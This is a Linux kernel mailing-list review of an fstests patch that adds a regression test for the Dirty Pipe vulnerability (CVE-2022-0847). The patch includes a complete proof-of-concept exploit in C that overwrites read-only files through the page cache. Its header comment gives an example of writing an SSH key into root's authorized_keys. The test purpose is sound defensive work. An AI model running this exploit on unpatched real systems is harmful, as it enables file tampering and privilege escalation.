On Wed, Mar 09, 2022 at 03:02:19AM +0800, Zorro Lang wrote:
> On Tue, Mar 08, 2022 at 09:14:29AM -0800, Darrick J. Wong wrote:
> > On Tue, Mar 08, 2022 at 05:22:48PM +0800, Zorro Lang wrote:
> > > Test for the Dirty Pipe vulnerability (CVE-2022-0847) caused by an
> > > uninitialized "pipe_buffer.flags" variable. The bug cause a file
> > > can be overwritten even if a user/process is not permitted to write
> > > it. It's fixed by 9d2231c5d74e ("lib/iov_iter: initialize "flags" in
> > > new pipe_buffer").
> > >
> > > Cc: Max Kellermann <max.kellermann@xxxxxxxxx>
> > > Signed-off-by: Zorro Lang <zlang@xxxxxxxxxx>
> > > ---
> > >
> > > Hi,
> > >
> > > As the CVE-2022-0847 "Dirty Pipe Vulnerability" is public now, to cover this
> > > bug testing, I write this case to fstests.
> > > The main test program comes from Max Kellermann(https://dirtypipe.cm4all.com/),
> > > I just changed it a little bit, then help it run with xfstests frame.
> > >
> > > Please help to review, and feel free to tell me if it's not good to be in fstests.
> > >
> > > Thanks,
> > > Zorro
> > >
> > > .gitignore | 1 +
> > > src/Makefile | 2 +-
> > > src/splice2pipe.c | 155 ++++++++++++++++++++++++++++++++++++++++++
> > > tests/generic/676 | 47 +++++++++++++
> > > tests/generic/676.out | 9 +++
> > > 5 files changed, 213 insertions(+), 1 deletion(-)
> > > create mode 100644 src/splice2pipe.c
> > > create mode 100755 tests/generic/676
> > > create mode 100644 tests/generic/676.out
> > >
> > > diff --git a/.gitignore b/.gitignore
> > > index ba0c572b..a05c6058 100644
> > > --- a/.gitignore
> > > +++ b/.gitignore
> > > @@ -125,6 +125,7 @@ tags
> > > /src/runas
> > > /src/seek_copy_test
> > > /src/seek_sanity_test
> > > +/src/splice2pipe
> > > /src/splice-test
> > > /src/stale_handle
> > > /src/stat_test
> > > diff --git a/src/Makefile b/src/Makefile
> > > index 111ce1d9..7725c4aa 100644
> > > --- a/src/Makefile
> > > +++ b/src/Makefile
> > > @@ -31,7 +31,7 @@ LINUX_TARGETS = xfsctl bstat t_mtab getdevicesize preallo_rw_pattern_reader \
> > > dio-invalidate-cache stat_test t_encrypted_d_revalidate \
> > > attr_replace_test swapon mkswap t_attr_corruption t_open_tmpfiles \
> > > fscrypt-crypt-util bulkstat_null_ocount splice-test chprojid_fail \
> > > - detached_mounts_propagation ext4_resize
> > > + detached_mounts_propagation ext4_resize splice2pipe
> > >
> > > EXTRA_EXECS = dmerror fill2attr fill2fs fill2fs_check scaleread.sh \
> > > btrfs_crc32c_forged_name.py
> > > diff --git a/src/splice2pipe.c b/src/splice2pipe.c
> > > new file mode 100644
> > > index 00000000..88b58f7e
> > > --- /dev/null
> > > +++ b/src/splice2pipe.c
> > > @@ -0,0 +1,155 @@
> > > +/* SPDX-License-Identifier: GPL-2.0 */
> > > +/*
> > > + * Copyright 2022 CM4all GmbH / IONOS SE
> > > + *
> > > + * author: Max Kellermann <max.kellermann@xxxxxxxxx>
> > > + *
> > > + * Proof-of-concept exploit for the Dirty Pipe
> > > + * vulnerability (CVE-2022-0847) caused by an uninitialized
> > > + * "pipe_buffer.flags" variable. It demonstrates how to overwrite any
> > > + * file contents in the page cache, even if the file is not permitted
> > > + * to be written, immutable or on a read-only mount.
> > > + *
> > > + * This exploit requires Linux 5.8 or later; the code path was made
> > > + * reachable by commit f6dd975583bd ("pipe: merge
> > > + * anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
> > > + * there before, it just provided an easy way to exploit it.
> > > + *
> > > + * There are two major limitations of this exploit: the offset cannot
> > > + * be on a page boundary (it needs to write one byte before the offset
> > > + * to add a reference to this page to the pipe), and the write cannot
> > > + * cross a page boundary.
> > > + *
> > > + * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
> > > + *
> > > + * Further explanation: https://dirtypipe.cm4all.com/
> > > + */
> > > +#ifndef _GNU_SOURCE
> > > +#define _GNU_SOURCE
> > > +#endif
> > > +#include <unistd.h>
> > > +#include <fcntl.h>
> > > +#include <stdio.h>
> > > +#include <stdlib.h>
> > > +#include <string.h>
> > > +#include <sys/stat.h>
> > > +#include <sys/user.h>
> > > +
> > > +/**
> > > + * Create a pipe where all "bufs" on the pipe_inode_info ring have the
> > > + * PIPE_BUF_FLAG_CAN_MERGE flag set.
> > > + */
> > > +static void prepare_pipe(int p[2])
> > > +{
> > > + if (pipe(p)) abort();
> >
> > It would be a good idea to spit out the error that pipe() returns,
> > even if the original POC didn't.
>
> Sure, I'll change that.
>
> >
> > > +
> > > + const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
> > > + static char buffer[4096];
> >
> > Also I'm sort of surprised that fstests' C compiler configuration allows
> > declarations mixed with code, but ... fmeh, maybe I need to move on past
> > 1989.
>
> I surprised that too, I thought fstests compile with c89/c90 as linux kernel,
> but looks like c89 isn't imposed in fstests building option. So I think it
> might follow the default standard which current gcc use.
> For example, in my system(rhel8), the manual of gcc says:
>
> gnu18
> GNU dialect of ISO C17. This is the default for C code.
>
> Then `info gcc` says:
>
> The default, if no C language dialect options are given, is
> '-std=gnu11'.
>
> Sorry, I'm not familiar with this. If think about the compatibility, I
> might be better to change the C code to c89 format?
Ah, right, thanks for digging that up. I forgot that most newer(ish)
gcc default to much newer C standards than the kernel.
<shrug> I mean... gcc 5.x supported C11, right? And (I think?) all the
"unusual" things I see in this program are C99 constructs? So perhaps
it's not such a big problem?
> >
> > > +
> > > + /* fill the pipe completely; each pipe_buffer will now have
> > > + the PIPE_BUF_FLAG_CAN_MERGE flag */
> > > + for (unsigned r = pipe_size; r > 0;) {
> > > + unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
> > > + write(p[1], buffer, n);
> > > + r -= n;
> > > + }
> > > +
> > > + /* drain the pipe, freeing all pipe_buffer instances (but
> > > + leaving the flags initialized) */
> > > + for (unsigned r = pipe_size; r > 0;) {
> > > + unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
> > > + read(p[0], buffer, n);
> > > + r -= n;
> > > + }
> > > +
> > > + /* the pipe is now empty, and if somebody adds a new
> > > + pipe_buffer without initializing its "flags", the buffer
> > > + will be mergeable */
> > > +}
> > > +
> > > +int main(int argc, char **argv)
> > > +{
> > > + if (argc != 4) {
> > > + fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
> > > + return EXIT_FAILURE;
> > > + }
> > > +
> > > + /* dumb command-line argument parser */
> > > + const char *const path = argv[1];
> > > + loff_t offset = strtoul(argv[2], NULL, 0);
> > > + const char *const data = argv[3];
> > > + const size_t data_size = strlen(data);
> > > + int page_size = sysconf(_SC_PAGESIZE);
> > > + if (page_size == -1)
> > > + page_size = 4096;
> > > +
> > > + if (offset % page_size == 0) {
> > > + fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
> > > + return EXIT_FAILURE;
> > > + }
> > > +
> > > + const loff_t next_page = (offset | (page_size - 1)) + 1;
> > > + const loff_t end_offset = offset + (loff_t)data_size;
> > > + if (end_offset > next_page) {
> > > + fprintf(stderr, "Sorry, cannot write across a page boundary\n");
> > > + return EXIT_FAILURE;
> > > + }
> > > +
> > > + /* open the input file and validate the specified offset */
> > > + const int fd = open(path, O_RDONLY); // yes, read-only! :-)
> > > + if (fd < 0) {
> > > + perror("open failed");
> > > + return EXIT_FAILURE;
> > > + }
> > > +
> > > + struct stat st;
> > > + if (fstat(fd, &st)) {
> > > + perror("stat failed");
> > > + return EXIT_FAILURE;
> > > + }
> > > +
> > > + if (offset > st.st_size) {
> > > + fprintf(stderr, "Offset is not inside the file\n");
> > > + return EXIT_FAILURE;
> > > + }
> > > +
> > > + if (end_offset > st.st_size) {
> > > + fprintf(stderr, "Sorry, cannot enlarge the file\n");
> > > + return EXIT_FAILURE;
> > > + }
> > > +
> > > + /* create the pipe with all flags initialized with
> > > + PIPE_BUF_FLAG_CAN_MERGE */
> > > + int p[2];
> > > + prepare_pipe(p);
> > > +
> > > + /* splice one byte from before the specified offset into the
> > > + pipe; this will add a reference to the page cache, but
> > > + since copy_page_to_iter_pipe() does not initialize the
> > > + "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
> > > + --offset;
> > > + ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
> > > + if (nbytes < 0) {
> > > + perror("splice failed");
> > > + return EXIT_FAILURE;
> > > + }
> > > + if (nbytes == 0) {
> > > + fprintf(stderr, "short splice\n");
> > > + return EXIT_FAILURE;
> > > + }
> > > +
> > > + /* the following write will not create a new pipe_buffer, but
> > > + will instead write into the page cache, because of the
> > > + PIPE_BUF_FLAG_CAN_MERGE flag */
> > > + nbytes = write(p[1], data, data_size);
> > > + if (nbytes < 0) {
> > > + perror("write failed");
> > > + return EXIT_FAILURE;
> > > + }
> > > + if ((size_t)nbytes < data_size) {
> > > + fprintf(stderr, "short write\n");
> > > + return EXIT_FAILURE;
> > > + }
> > > +
> > > + return EXIT_SUCCESS;
> > > +}
> > > diff --git a/tests/generic/676 b/tests/generic/676
> > > new file mode 100755
> > > index 00000000..6092aac3
> > > --- /dev/null
> > > +++ b/tests/generic/676
> > > @@ -0,0 +1,47 @@
> > > +#! /bin/bash
> > > +# SPDX-License-Identifier: GPL-2.0
> > > +# Copyright (c) 2022 Red Hat, Inc. All Rights Reserved.
> > > +#
> > > +# FS QA Test 676
> > > +#
> > > +# Test for the Dirty Pipe vulnerability (CVE-2022-0847) caused by an
> > > +# uninitialized "pipe_buffer.flags" variable, which fixed by:
> > > +# 9d2231c5d74e ("lib/iov_iter: initialize "flags" in new pipe_buffer")
> > > +#
> > > +. ./common/preamble
> > > +_begin_fstest auto quick
> > > +
> > > +# real QA test starts here
> > > +_supported_fs generic
> > > +_require_test
> > > +_require_user
> > > +_require_chmod
> > > +_require_test_program "splice2pipe"
> > > +
> > > +localfile=$TEST_DIR/testfile.$seq
> > > +
> > > +# Create a file with 4k 0xff data, then make sure unprivileged user has readonly
> > > +# permission on it
> > > +$XFS_IO_PROG -f -t -c "pwrite 0 4k -S 0xff" $localfile >> $seqres.full 2>&1
> >
> > I wonder, does this '4k' need to be $pagesize, or does it suffice to have
> > any amount of written data, since that will get us a memory page?
>
> From the testing, pagesize is not necessary to reproduce this bug at here. I can
> reproduce this bug even if change 4k to 512.
Ok.
> >
> > Also, does _cleanup need to delete $localfile?
>
> Sure
>
> >
> > > +chmod 0644 $localfile
> > > +# Test privileged user (xfstests generally run with root)
> > > +echo "Test privileged user:"
> > > +$here/src/splice2pipe $localfile 1 "AAAAAAAABBBBBBBB"
> > > +# Part of 0xff will be overwritten if there's CVE-2022-0847 bug
> > > +hexdump -C $localfile
> >
> > (I wonder offhand if fstests ought to be checking for the existence of
> > hexdump(1) since at least Debian only has it in bsdmainutils package,
> > but ... that's a separate question.)
>
> Hmm... I never thought about that, due to the hexdump is in util-linux for
> rhel and fedora. That means it's nearly always be there. If Debian or some other
> system won't have it by default, we might say 'hexdump' is a necessary dependence
> to run fstests in doc :)
Yeah. The fstests documentation don't list bsdmainutils as a required
package for Debian, so I think either we should update the documentation
or do a treewide change to make all the tests that use hexdump(1)
_require it.
>
> >
> > > +
> > > +# Create a file with 4k 0xff data, then make sure unprivileged user has readonly
> > > +# permission on it
> > > +$XFS_IO_PROG -f -t -c "pwrite 0 4k -S 0xff" $localfile >> $seqres.full 2>&1
> > > +chmod 0644 $localfile
> > > +# Copy splice2pipe to a place which can be run by an unprivileged user (avoid
> > > +# something likes /root/xfstests/src/splice2pipe)
> >
> > What's wrong with /root/xfstests/src/ ?
> >
> > Oh, I bet something in that path isn't readable by non-root, and hence
> > the shell invoked by su won't be able to find the binary.
>
> Yes, I clone the xfstests.git into home directory of root sometimes :-D
>
> >
> > Looks good so far, modulo my questions. :)
>
> Thanks for your reviewing! I'll send V2 soon.
Ok.
--D
> Thanks,
> Zorro
>
> >
> > Thanks for putting together a regression test!
> >
> > --D
> >
> > > +cp $here/src/splice2pipe $tmp.splice2pipe
> > > +# Test unprivileged user's privilege escalation
> > > +echo "Test unprivileged user:"
> > > +su ${qa_user} -c "$tmp.splice2pipe $localfile 1 AAAAAAAABBBBBBBB"
> > > +hexdump -C $localfile
> > > +
> > > +# success, all done
> > > +status=0
> > > +exit
> > > diff --git a/tests/generic/676.out b/tests/generic/676.out
> > > new file mode 100644
> > > index 00000000..f006e659
> > > --- /dev/null
> > > +++ b/tests/generic/676.out
> > > @@ -0,0 +1,9 @@
> > > +QA output created by 676
> > > +Test privileged user:
> > > +00000000 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|
> > > +*
> > > +00001000
> > > +Test unprivileged user:
> > > +00000000 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|
> > > +*
> > > +00001000
> > > --
> > > 2.31.1
> > >
> >
>
